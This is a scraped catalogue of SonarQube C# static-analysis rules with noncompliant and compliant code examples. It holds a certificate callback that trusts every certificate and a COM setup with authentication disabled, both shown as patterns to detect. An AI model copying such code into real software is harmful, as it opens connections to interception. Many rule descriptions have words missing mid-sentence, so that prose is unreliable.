||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S4830 |
Validation of X.509 certificates is essential to create secure SSL/TLS sessions not vulnerable to man-in-the-middle attacks. The certificate chain validation includes these steps:
It's not recommended to reinvent the wheel by implementing custom certificate chain validation. TLS libraries provide built-in certificate validation functions that should be used. Noncompliant Code ExampleServicePointManager.ServerCertificateValidationCallback += (sender, certificate, chain, errors) => { return true; // Noncompliant: trust all certificates }; Compliant SolutionServicePointManager.ServerCertificateValidationCallback += (sender, certificate, chain, errors) => { if (development) return true; // for development, trust all certificates return errors == SslPolicyErrors.None && validCerts.Contains(certificate.GetCertHashString()); // Compliant: trust only some certificates }; See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S4159 |
In the Attributed Programming Model, the If the type doesn't implement the interface it is exporting there will be an issue at runtime (either a cast exception or just a container not filled with the exported type) leading to unexpected behaviors/crashes. The rule raises an issue when a class doesn't implement or inherit the type declared in the Noncompliant Code Example[Export(typeof(ISomeType))] public class SomeType // Noncompliant; doesn't implement 'ISomeType'. { } Compliant Solution[Export(typeof(ISomeType))] public class SomeType : ISomeType { } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S4260 |
When creating a custom Markup Extension that accepts parameters in WPF, the This rule raises an issue when the string argument to Noncompliant Code Exampleusing System; namespace myLibrary { public class MyExtension : MarkupExtension { public MyExtension() { } public MyExtension(object value1) { Value1 = value1; } [ConstructorArgument("value2")] // Noncompliant public object Value1 { get; set; } } } Compliant Solutionusing System; namespace myLibrary { public class MyExtension : MarkupExtension { public MyExtension() { } public MyExtension(object value1) { Value1 = value1; } [ConstructorArgument("value1")] public object Value1 { get; set; } } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S4142 |
There are valid cases for passing a variable multiple times into the same method call, but usually doing so is a mistake, and something else was intended for one of the arguments. Noncompliant Code Exampleif (Compare(point.X, point.X) != 0) // Noncompliant { //... } if (DoSomething(GetNextValue(), GetNextValue())) // Noncompliant { // ... } Compliant Solutionif (Compare(point.X, point.Y) != 0) { //... } var v1 = GetNextValue(); var v2 = GetNextValue(); if (DoSomething(v1, v2)) { // ... } DeprecatedThis rule is deprecated, and will eventually be removed. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S3052 |
The compiler automatically initializes class fields, auto-properties and events to their default values before setting them with any initialization values, so there is no need to explicitly set a member to its default value. Further, under the logic that cleaner code is better code, it's considered poor style to do so. Noncompliant Code Exampleclass X { public int field = 0; // Noncompliant public object o = null; // Noncompliant public object MyProperty { get; set; } = null; // Noncompliant public event EventHandler MyEvent = null; // Noncompliant } Compliant Solutionclass X { public int field; public object o; public object MyProperty { get; set; } public event EventHandler MyEvent; } Exceptions
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S3172 |
In C#, delegates can be added together to chain their execution, and subtracted to remove their execution from the chain. Subtracting a chain of delegates from another one might yield unexpected results as shown hereunder - and is likely to be a bug. Noncompliant Code ExampleMyDelegate first, second, third, fourth; first = () => Console.Write("1"); second = () => Console.Write("2"); third = () => Console.Write("3"); fourth = () => Console.Write("4"); MyDelegate chain1234 = first + second + third + fourth; // Compliant - chain sequence = "1234" MyDelegate chain12 = chain1234 - third - fourth; // Compliant - chain sequence = "12" MyDelegate chain14 = first + fourth; // creates a new MyDelegate instance which is a list under the covers MyDelegate chain23 = chain1234 - chain14; // Noncompliant; (first + fourth) doesn't exist in chain1234 // The chain sequence of "chain23" will be "1234" instead of "23"! // Indeed, the sequence "1234" does not contain the subsequence "14", so nothing is subtracted // (but note that "1234" contains both the "1" and "4" subsequences) chain23 = chain1234 - (first + fourth); // Noncompliant chain23(); // will print "1234"! Compliant SolutionMyDelegate chain23 = chain1234 - first - fourth; // Compliant - "1" is first removed, followed by "4" chain23(); // will print "23" |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S4143 |
It is highly suspicious when a value is saved for a key or index and then unconditionally overwritten. Such replacements are likely errors. Noncompliant Code Examplelist[index] = "value 1"; list[index] = "value 2"; // Noncompliant dictionary.Add(key, "value 1"); dictionary[key] = "value 2"; // Noncompliant |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S4022 |
By default the storage type of an Noncompliant Code Exampleusing System; namespace MyLibrary { public enum Visibility : sbyte // Noncompliant { Visible = 0, Invisible = 1, } } Compliant Solutionusing System; namespace MyLibrary { public enum Visibility { Visible = 0, Invisible = 1, } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S4261 |
According to the Task-based Asynchronous Pattern (TAP), methods returning either a Noncompliant Code Exampleusing System; using System.Threading.Tasks; namespace myLibrary { public class Foo { public Task Read(byte [] buffer, int offset, int count, // Noncompliant CancellationToken cancellationToken) } } Compliant Solutionusing System; using System.Threading.Tasks; namespace myLibrary { public class Foo { public Task ReadAsync(byte [] buffer, int offset, int count, CancellationToken cancellationToken) } } ExceptionsThis rule doesn't raise an issue when the method is an override or part of the implementation of an interface since it can not be renamed. See |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S4823 |
Using command line arguments is security-sensitive. It has led in the past to the following vulnerabilities: Command line arguments can be dangerous just like any other user input. They should never be used without being first validated and sanitized. Remember also that any user can retrieve the list of processes running on a system, which makes the arguments provided to them visible. Thus passing sensitive information via command line arguments should be considered as insecure. This rule raises an issue when on every program entry points ( Ask Yourself Whether
If you answered yes to any of these questions you are at risk. Recommended Secure Coding PracticesSanitize all command line arguments before using them. Any user or application can list running processes and see the command line arguments they were started with. There are safer ways of providing sensitive information to an application than exposing them in the command line. It is common to write them on the process' standard input, or give the path to a file containing the information. Sensitive Code Examplenamespace MyNamespace { class Program { static void Main(string[] args) // Sensitive if there is a reference to "args" in the method. { string myarg = args[0]; // ... } } } See
DeprecatedThis rule is deprecated, and will eventually be removed. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S4829 |
Reading Standard Input is security-sensitive. It has led in the past to the following vulnerabilities: It is common for attackers to craft inputs enabling them to exploit software vulnerabilities. Thus any data read from the standard input (stdin) can be dangerous and should be validated. This rule flags code that reads from the standard input. Ask Yourself Whether
You are at risk if you answered yes to this question. Recommended Secure Coding PracticesSanitize all data read from the standard input before using it. Sensitive Code Exampleusing System; public class C { public void Main() { Console.In; // Sensitive var code = Console.Read(); // Sensitive var keyInfo = Console.ReadKey(...); // Sensitive var text = Console.ReadLine(); // Sensitive Console.OpenStandardInput(...); // Sensitive } } ExceptionsThis rule does not raise issues when the return value of the using System; public class C { public void Main() { Console.ReadKey(...); // Return value is ignored Console.ReadLine(); // Return value is ignored } } See:
DeprecatedThis rule is deprecated, and will eventually be removed. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S4023 |
Empty interfaces are usually used as a marker or a way to identify groups of types. The preferred way to achieve this is to use custom attributes. Noncompliant Code Exampleusing System; namespace MyLibrary { public interface MyInterface // Noncompliant { } } Compliant Solutionusing System; namespace MyLibrary { public interface MyInterface { void Foo(); } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S3971 |
This rule raises an issue when |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S4026 |
It is important to inform the This rule raises an issue when an assembly contains a Noncompliant Code Exampleusing System; public class MyClass // Noncompliant { public static void Main() { string[] cultures = { "de-DE", "en-us", "fr-FR" }; Random rnd = new Random(); int index = rnd.Next(0, cultures.Length); Thread.CurrentThread.CurrentUICulture = CultureInfo.CreateSpecificCulture(cultures[index]); ResourceManager rm = new ResourceManager("MyResources" , typeof(MyClass).Assembly); string greeting = rm.GetString("Greeting"); Console.Write("Enter your name: "); string name = Console.ReadLine(); Console.WriteLine("{0} {1}!", greeting, name); } } Compliant Solutionusing System; [assembly:NeutralResourcesLanguageAttribute("en")] public class MyClass { public static void Main() { string[] cultures = { "de-DE", "en-us", "fr-FR" }; Random rnd = new Random(); int index = rnd.Next(0, cultures.Length); Thread.CurrentThread.CurrentUICulture = CultureInfo.CreateSpecificCulture(cultures[index]); ResourceManager rm = new ResourceManager("MyResources" , typeof(MyClass).Assembly); string greeting = rm.GetString("Greeting"); Console.Write("Enter your name: "); string name = Console.ReadLine(); Console.WriteLine("{0} {1}!", greeting, name); } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S4144 |
When two methods have the same implementation, either it was a mistake - something else was intended - or the duplication was intentional, but may be confusing to maintainers. In the latter case, one implementation should invoke the other. Noncompliant Code Exampleprivate const string CODE = "bounteous"; private int callCount = 0; public string GetCode() { callCount++; return CODE; } public string GetName() // Noncompliant { callCount++; return CODE; } Compliant Solutionprivate const string CODE = "bounteous"; private int callCount = 0; public string GetCode() { callCount++; return CODE; } public string GetName() { return GetCode(); } ExceptionsEmpty methods, methods with only one line of code and methods with the same name (overload) are ignored. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S2761 |
Calling the Either this is a bug, if the operator was actually meant to be called once, or misleading if done on purpose. Noncompliant Code Exampleint v1 = 0; bool v2 = false; var v3 = !!v1; // Noncompliant var v4 = ~~v2; // Noncompliant Compliant Solutionint v1 = 0; bool v2 = false; var v3 = !v1; var v4 = ~v2; |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S2760 |
When the same condition is checked twice in a row, it is either confusing - why have separate checks? - or an error - some other condition should have been checked in the second test. Noncompliant Code Exampleif (a == b) { doTheThing(b); } if (a == b) // Noncompliant; is this really what was intended? { doTheThing(c); } Compliant Solutionif (a == b) { doTheThing(b); doTheThing(c); } or if (a == b) { doTheThing(b); } if (b == c) { doTheThing(c); } ExceptionsSince it is a common pattern to test a variable, reassign it if it fails the test, then re-test it, that pattern is ignored. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S4025 |
Having a field in a child class with a name that differs from a parent class' field only by capitalization is sure to cause confusion. Such child class fields should be renamed. Noncompliant Code Examplepublic class Fruit { protected string plantingSeason; //... } public class Raspberry : Fruit { protected string plantingseason; // Noncompliant // ... } Compliant Solutionpublic class Fruit { protected string plantingSeason; //... } public class Raspberry : Fruit { protected string whenToPlant; // ... } Or public class Fruit { protected string plantingSeason; //... } public class Raspberry : Fruit { // field removed; parent field will be used instead // ... } ExceptionsThis rule ignores same-name fields that are |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S3973 |
In the absence of enclosing curly braces, the line immediately after a conditional is the one that is conditionally executed. By both convention and good practice, such lines are indented. In the absence of both curly braces and indentation the intent of the original programmer is entirely unclear and perhaps not actually what is executed. Additionally, such code is highly likely to be confusing to maintainers. Noncompliant Code Exampleif (condition) // Noncompliant DoTheThing(); DoTheOtherThing(); SomethingElseEntirely(); Foo(); Compliant Solutionif (condition) DoTheThing(); DoTheOtherThing(); SomethingElseEntirely(); Foo(); |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S3610 |
Calling Noncompliant Code Exampleint? nullable = 42; bool comparison = nullable.GetType() == typeof(Nullable<int>); // Noncompliant, always false comparison = nullable.GetType() != typeof(Nullable<int>); // Noncompliant, always true nullable = null; comparison = nullable.GetType() != typeof(Nullable<int>); // Noncompliant, calling GetType on a null always throws an exception |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S3972 |
Code is clearest when each statement has its own line. Nonetheless, it is a common pattern to combine on the same line an Noncompliant Code Exampleif (condition1) { // ... } if (condition2) { // Noncompliant //... } Compliant Solutionif (condition1) { // ... } else if (condition2) { //... } Or if (condition1) { // ... } if (condition2) { //... } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S4027 |
Exceptions types should provide the following constructors:
That fourth constructor should be Not having this full set of constructors can make it difficult to handle exceptions. Noncompliant Code Exampleusing System; namespace MyLibrary { public class MyException // Noncompliant: several constructors are missing { public MyException() { } } } Compliant Solutionusing System; using System.Runtime.Serialization; namespace MyLibrary { public class MyException : Exception { public MyException() { } public MyException(string message) :base(message) { } public MyException(string message, Exception innerException) : base(message, innerException) { } protected MyException(SerializationInfo info, StreamingContext context) : base(info, context) { } } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S1313 |
Hardcoding IP addresses is security-sensitive. It has led in the past to the following vulnerabilities: Today's services have an ever-changing architecture due to their scaling and redundancy needs. It is a mistake to think that a service will always have the same IP address. When it does change, the hardcoded IP will have to be modified too. This will have an impact on the product development, delivery and deployment:
Last but not least it has an effect on application security. Attackers might be able to decompile the code and thereby discover a potentially sensitive address. They can perform a Denial of Service attack on the service at this address or spoof the IP address. Such an attack is always possible, but in the case of a hardcoded IP address the fix will be much slower, which will increase an attack's impact. Ask Yourself WhetherThe disclosed IP address is sensitive, eg:
There is a risk if you answered yes to any of these questions. Recommended Secure Coding PracticesDon't hard-code the IP address in the source code, instead make it configurable. Sensitive Code Examplevar ip = "192.168.12.42"; var address = IPAddress.Parse(ip); Compliant Solutionvar ip = ConfigurationManager.AppSettings["myapplication.ip"]; var address = IPAddress.Parse(ip); Exceptions
See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S4050 |
When implementing operator overloads, it is very important to make sure that all related operators and methods are consistent in their implementation. The following guidelines should be followed:
This rule raises an issue when any of these guidelines are not followed on publicly-visible type (public, protected or protected internal). Noncompliant Code Exampleusing System; namespace MyLibrary { public class Foo // Noncompliant { private int left; private int right; public Foo(int l, int r) { this.left = l; this.right = r; } public static Foo operator +(Foo a, Foo b) { return new Foo(a.left + b.left, a.right + b.right); } public static Foo operator -(Foo a, Foo b) { return new Foo(a.left - b.left, a.right - b.right); } } } Compliant Solutionusing System; namespace MyLibrary { public class Foo { private int left; private int right; public Foo(int l, int r) { this.left = l; this.right = r; } public static Foo operator +(Foo a, Foo b) { return new Foo(a.left + b.left, a.right + b.right); } public static Foo operator -(Foo a, Foo b) { return new Foo(a.left - b.left, a.right - b.right); } public static bool operator ==(Foo a, Foo b) { return (a.left == b.left && a.right == b.right); } public static bool operator !=(Foo a, Foo b) { return !(a == b); } public override bool Equals(Object obj) { Foo a = obj as Foo; if (a == null) return false; return this == a; } public override int GetHashCode() { return (this.left * 10) + this.right; } } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S4052 |
With the advent of .NET framework version 2, certain practices have become obsolete. In particular, exceptions should now extend This rule raises an issue when an externally visible type extends one of these types:
Noncompliant Code Exampleusing System; using System.Collections; namespace MyLibrary { public class MyCollection : CollectionBase // Noncompliant { } } Compliant Solutionusing System; using System.Collections; namespace MyLibrary { public class MyCollection : Collection<T> { } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S4055 |
String literals embedded in the source code will not be localized properly. This rule raises an issue when a literal string is passed as a parameter or property and one or more of the following cases is true:
Noncompliant Code Exampleusing System; using System.Globalization; using System.Reflection; using System.Windows.Forms; [assembly: NeutralResourcesLanguageAttribute("en-US")] namespace MyLibrary { public class Foo { public void SetHour(int hour) { if (hour < 0 || hour > 23) { MessageBox.Show("The valid range is 0 - 23."); // Noncompliant } } } } Compliant Solutionusing System; using System.Globalization; using System.Reflection; using System.Resources; using System.Windows.Forms; [assembly: NeutralResourcesLanguageAttribute("en-US")] namespace MyLibrary { public class Foo { ResourceManager rm; public Foo() { rm = new ResourceManager("en-US", Assembly.GetExecutingAssembly()); } public void SetHour(int hour) { if (hour < 0 || hour > 23) { MessageBox.Show( rm.GetString("OutOfRangeMessage", CultureInfo.CurrentUICulture)); } } } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S1226 |
While it is technically correct to assign to parameters from within method bodies, doing so before the parameter value is read is likely a bug.
Instead, initial values of parameters, caught exceptions, and foreach parameters should be, if not treated as Noncompliant Code Examplepublic void DoTheThing(string str, int i, List<string> strings) { str = i.ToString(i); // Noncompliant foreach (var s in strings) { s = "hello world"; // Noncompliant } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S2437 |
Certain bit operations are just silly and should not be performed because their results are predictable. Specifically, using |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S3889 |
Noncompliant Code Examplestatic void Main(string[] args) { // ... Thread.CurrentThread.Suspend(); // Noncompliant Thread.CurrentThread.Resume(); // Noncompliant } See |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S1227 |
Ideally, every loop should have a single termination condition. Noncompliant Code Exampleint i = 0; while (true) { if (i == 10) { break; // Non-Compliant } Console.WriteLine(i); i++; } Compliant Solutionint i = 0; while (i != 10) // Compliant { Console.WriteLine(i); i++; } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S2436 |
A method or class with too many type parameters has likely aggregated too many responsibilities and should be split. Noncompliant Code ExampleWith the default parameter value of 2: <S, T, U, V> void foo() {} // Noncompliant; not really readable <String, Integer, Object, String>foo(); // especially on invocations |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S1109 |
Shared coding conventions make it possible for a team to efficiently collaborate. This rule makes it mandatory to place a close curly brace at the beginning of a line. Noncompliant Code Exampleif(condition) { doSomething();} Compliant Solutionif(condition) { doSomething(); } ExceptionsWhen blocks are inlined (open and close curly braces on the same line), no issue is triggered. if(condition) {doSomething();} |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S3881 |
The This rule raises an issue when the recommended dispose pattern, as defined by Microsoft, is not adhered to. See the Compliant Solution section for examples. Satisfying the rule's conditions will enable potential derived classes to correctly dispose the members of your class:
Noncompliant Code Examplepublic class Foo1 : IDisposable // Noncompliant - provide protected overridable implementation of Dispose(bool) on Foo or mark the type as sealed. { public void Dispose() // Noncompliant - should contain only a call to Dispose(true) and then GC.SuppressFinalize(this) { // Cleanup } } public class Foo2 : IDisposable { void IDisposable.Dispose() // Noncompliant - Dispose() should be public { Dispose(true); GC.SuppressFinalize(this); } public virtual void Dispose() // Noncompliant - Dispose() should be sealed { Dispose(true); GC.SuppressFinalize(this); } } public class Foo3 : IDisposable { public void Dispose() { Dispose(true); GC.SuppressFinalize(this); } protected virtual void Dispose(bool disposing) { // Cleanup } ~Foo3() // Noncompliant - Modify Foo.~Foo() so that it calls Dispose(false) and then returns. { // Cleanup } }{code} Compliant Solution// Sealed class public sealed class Foo1 : IDisposable { public void Dispose() { // Cleanup } } // Simple implementation public class Foo2 : IDisposable { public void Dispose() { Dispose(true); GC.SuppressFinalize(this); } protected virtual void Dispose(bool disposing) { // Cleanup } } // Implementation with a finalizer public class Foo3 : IDisposable { public void Dispose() { Dispose(true); GC.SuppressFinalize(this); } protected virtual void Dispose(bool disposing) { // Cleanup } ~Foo3() { Dispose(false); } } // Base disposable class public class Foo4 : DisposableBase { protected override void Dispose(bool disposing) { // Cleanup // Do not forget to call base base.Dispose(disposing); } } SeeRefer to
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S4057 |
When you create a This rule raises an issue when Noncompliant Code Exampleusing System; using System.Data; namespace MyLibrary { public class Foo { public DataTable CreateTable() { DataTable table = new DataTable("Customers"); // Noncompliant table.Locale not set DataColumn key = table.Columns.Add("ID", typeof(Int32)); key.AllowDBNull = false; key.Unique = true; table.Columns.Add("LastName", typeof(String)); table.Columns.Add("FirstName", typeof(String)); return table; } } } Compliant Solutionusing System; using System.Data; using System.Globalization; namespace MyLibrary { public class Foo { public DataTable CreateTable() { DataTable table = new DataTable("Customers"); table.Locale = CultureInfo.InvariantCulture; DataColumn key = table.Columns.Add("ID", typeof(Int32)); key.AllowDBNull = false; key.Unique = true; table.Columns.Add("LastName", typeof(String)); table.Columns.Add("FirstName", typeof(String)); return table; } } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S3880 |
Finalizers come with a performance cost due to the overhead of tracking the life cycle of objects. An empty one is consequently costly with no benefit or justification. Noncompliant Code Examplepublic class Foo { ~Foo() // Noncompliant { } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S4056 |
When a You should supply culture-specific information according to the following guidelines:
This rule raises an issue when a method or constructor calls one or more members that have overloads that accept a
Noncompliant Code Exampleusing System; namespace MyLibrary { public class Foo { public void Bar(String string1) { if(string.Compare(string1, string2, false) == 0) // Noncompliant { Console.WriteLine(string3.ToLower()); // Noncompliant } } } } Compliant Solutionusing System; using System.Globalization; namespace MyLibrary { public class Foo { public void Bar(String string1, String string2, String string3) { if(string.Compare(string1, string2, false, CultureInfo.InvariantCulture) == 0) { Console.WriteLine(string3.ToLower(CultureInfo.CurrentCulture)); } } } } ExceptionsThis rule will not raise an issue when the overload is marked as obsolete. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S4059 |
Properties and Get method should have names that makes them clearly distinguishable. This rule raises an issue when the name of a public or protected member starts with 'Get' and otherwise matches the name of a public or protected property. Noncompliant Code Exampleusing System; namespace MyLibrary { public class Foo { public DateTime Date { get { return DateTime.Today; } } public string GetDate() // Noncompliant { return this.Date.ToString(); } } } Compliant Solutionusing System; namespace MyLibrary { public class Foo { public DateTime Date { get { return DateTime.Today; } } public string GetDateAsString() { return this.Date.ToString(); } } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S2551 |
Shared resources should not be used for locking as it increases the chance of deadlocks. Any other thread could acquire (or attempt to acquire) the same lock for another unrelated purpose. Instead, a dedicated The following objects are considered as shared resources:
Noncompliant Code Examplepublic void MyLockingMethod() { lock (this) // Noncompliant { // ... } } Compliant Solutionprivate readonly object lockObj = new object(); public void MyLockingMethod() { lock (lockObj) { // ... } } See |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S4058 |
Many string operations, the This rule raises an issue when a string comparison operation doesn't use the overload that takes a Noncompliant Code Exampleusing System; namespace MyLibrary { public class Foo { public bool HaveSameNames(string name1, string name2) { return string.Compare(name1, name2) == 0; // Noncompliant } } } Compliant Solutionusing System; namespace MyLibrary { public class Foo { public bool HaveSameNames(string name1, string name2) { return string.Compare(name1, name2, StringComparison.OrdinalIgnoreCase) == 0; } } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S3885 |
The parameter to This rule raises an issue when Noncompliant Code Examplestatic void Main(string[] args) { Assembly.LoadFrom(...); // Noncompliant Assembly.LoadFile(...); // Noncompliant Assembly.LoadWithPartialName(...); // Noncompliant + deprecated } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S3400 |
There's no point in forcing the overhead of a method call for a method that always returns the same constant value. Even worse, the fact that a method call must be made will likely mislead developers who call the method thinking that something more is done. Declare a constant instead. This rule raises an issue if on methods that contain only one statement: the Noncompliant Code Exampleint GetBestNumber() { return 12; // Noncompliant } Compliant Solutionconst int BestNumber = 12; or static readonly int BestNumber = 12; |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S3884 |
Specifically, these methods are meant to be called from non-managed code such as a C++ wrapper that then invokes the managed, i.e. C# or VB.NET, code. Noncompliant Code Example[DllImport("ole32.dll")] static extern int CoSetProxyBlanket([MarshalAs(UnmanagedType.IUnknown)]object pProxy, uint dwAuthnSvc, uint dwAuthzSvc, [MarshalAs(UnmanagedType.LPWStr)] string pServerPrincName, uint dwAuthnLevel, uint dwImpLevel, IntPtr pAuthInfo, uint dwCapabilities); public enum RpcAuthnLevel { Default = 0, None = 1, Connect = 2, Call = 3, Pkt = 4, PktIntegrity = 5, PktPrivacy = 6 } public enum RpcImpLevel { Default = 0, Anonymous = 1, Identify = 2, Impersonate = 3, Delegate = 4 } public enum EoAuthnCap { None = 0x00, MutualAuth = 0x01, StaticCloaking = 0x20, DynamicCloaking = 0x40, AnyAuthority = 0x80, MakeFullSIC = 0x100, Default = 0x800, SecureRefs = 0x02, AccessControl = 0x04, AppID = 0x08, Dynamic = 0x10, RequireFullSIC = 0x200, AutoImpersonate = 0x400, NoCustomMarshal = 0x2000, DisableAAA = 0x1000 } [DllImport("ole32.dll")] public static extern int CoInitializeSecurity(IntPtr pVoid, int cAuthSvc, IntPtr asAuthSvc, IntPtr pReserved1, RpcAuthnLevel level, RpcImpLevel impers, IntPtr pAuthList, EoAuthnCap dwCapabilities, IntPtr pReserved3); static void Main(string[] args) { var hres1 = CoSetProxyBlanket(null, 0, 0, null, 0, 0, IntPtr.Zero, 0); // Noncompliant var hres2 = CoInitializeSecurity(IntPtr.Zero, -1, IntPtr.Zero, IntPtr.Zero, RpcAuthnLevel.None, RpcImpLevel.Impersonate, IntPtr.Zero, EoAuthnCap.None, IntPtr.Zero); // Noncompliant } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S2674 |
You cannot assume that any given stream reading call will fill the This rule raises an issue when a Noncompliant Code Examplepublic void DoSomething(string fileName) { using (var stream = File.Open(fileName, FileMode.Open)) { var result = new byte[stream.Length]; stream.Read(result, 0, (int)stream.Length); // Noncompliant // ... do something with result } } Compliant Solutionpublic void DoSomething(string fileName) { using (var stream = File.Open(fileName, FileMode.Open)) { var buffer = new byte[1024]; using (var ms = new MemoryStream()) { int read; while ((read = stream.Read(buffer, 0, buffer.Length)) > 0) { ms.Write(buffer, 0, read); } // ... do something with ms } } } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S3887 |
Using the This rule raises an issue when a non-private, Noncompliant Code Examplepublic class MyClass { public readonly string[] strings; // Noncompliant // ... Compliant Solutionpublic class MyClass { public string[] strings; // ... or public class MyClass { public readonly ImmutableArray<string> strings; // ... or public class MyClass { private readonly string[] strings; // ... |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
